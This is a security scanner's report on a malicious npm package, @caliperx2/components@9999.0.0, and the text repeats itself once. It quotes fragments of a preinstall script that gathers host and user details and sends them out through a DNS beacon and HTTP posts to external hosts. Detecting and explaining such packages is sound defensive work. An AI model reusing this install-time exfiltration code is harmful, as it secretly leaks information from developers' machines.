@caliperx2/components@9999.0.0: Malicious npm security report | LPM Firewall

Loading npm security reports…

@caliperx2/components@9999.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js" }

High

Ai Review Evidence

Installation automatically runs preinstall.js.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

39function collect() { var user = 'unknown'; try { user = os.userInfo().username || process.env.USER || process.env.USERNAME || 'unknown'; } catch (e) {} return { token: TOKEN, pkg: '@caliperx2/components@9999.0.0', hostname: safe(function () { return os.hostname(); }), username: user, cwd: safe(function () { return process.cwd(); }), installPath: __dirname, platform: safe(function () { return process.platform + ' ' + os.release(); }), node: process.version, npm_user_agent: process.env.npm[redacted] || '', npm[redacted]: process.env.npm

High

Suspicious Lifecycle Evidence

The install hook collects the local username, hostname, working directory, install path, platform, Node version, and npm metadata.

preinstall.jsView on unpkg · L39

60// Channel 1: DNS beacon to interactsh (survives HTTP-egress filtering). function dnsBeacon(info) { try { var name = [ hexLabel(TOKEN), hexLabel(info.hostname), hexLabel(info.username), OAST_HOST ].join('.'); dns.lookup(name, function () {}); } catch (e) {} }

High

Ai Review Evidence

It encodes hostname and username into a DNS lookup and posts the collected JSON to two external destinations.

preinstall.jsView on unpkg · L60

98try { var info = collect(); dnsBeacon(info); httpBeacon(OAST_HOST, true, info); httpBeacon(IP_HOST, false, info); } catch (e) {}

High

Ai Review Evidence

It encodes hostname and username into a DNS lookup and posts the collected JSON to two external destinations.

preinstall.jsView on unpkg · L98

86try { var lib = useHttps ? https : http; var req = lib.request(opts, function (res) { res.resume(); }); req.on('timeout', function () { req.destroy(); }); req.on('error', function () { if (useHttps) { httpBeacon(host, false, info); } // fall back to plain HTTP }); req.write(body); req.end(); } catch (e) {}

High

Ai Review Evidence

The hook falls back from HTTPS to plain HTTP, increasing exposure of the collected data.

preinstall.jsView on unpkg · L86

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js" }

High

Ai Review Evidence

Installation automatically runs preinstall.js.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

39function collect() { var user = 'unknown'; try { user = os.userInfo().username || process.env.USER || process.env.USERNAME || 'unknown'; } catch (e) {} return { token: TOKEN, pkg: '@caliperx2/components@9999.0.0', hostname: safe(function () { return os.hostname(); }), username: user, cwd: safe(function () { return process.cwd(); }), installPath: __dirname, platform: safe(function () { return process.platform + ' ' + os.release(); }), node: process.version, npm_user_agent: process.env.npm[redacted] || '', npm[redacted]: process.env.npm

High

Suspicious Lifecycle Evidence

The install hook collects the local username, hostname, working directory, install path, platform, Node version, and npm metadata.

preinstall.jsView on unpkg · L39

60// Channel 1: DNS beacon to interactsh (survives HTTP-egress filtering). function dnsBeacon(info) { try { var name = [ hexLabel(TOKEN), hexLabel(info.hostname), hexLabel(info.username), OAST_HOST ].join('.'); dns.lookup(name, function () {}); } catch (e) {} }

High

Ai Review Evidence

It encodes hostname and username into a DNS lookup and posts the collected JSON to two external destinations.

preinstall.jsView on unpkg · L60

98try { var info = collect(); dnsBeacon(info); httpBeacon(OAST_HOST, true, info); httpBeacon(IP_HOST, false, info); } catch (e) {}

High

Ai Review Evidence

It encodes hostname and username into a DNS lookup and posts the collected JSON to two external destinations.

preinstall.jsView on unpkg · L98

86try { var lib = useHttps ? https : http; var req = lib.request(opts, function (res) { res.resume(); }); req.on('timeout', function () { req.destroy(); }); req.on('error', function () { if (useHttps) { httpBeacon(host, false, info); } // fall back to plain HTTP }); req.write(body); req.end(); } catch (e) {}

High

Ai Review Evidence

The hook falls back from HTTPS to plain HTTP, increasing exposure of the collected data.

preinstall.jsView on unpkg · L86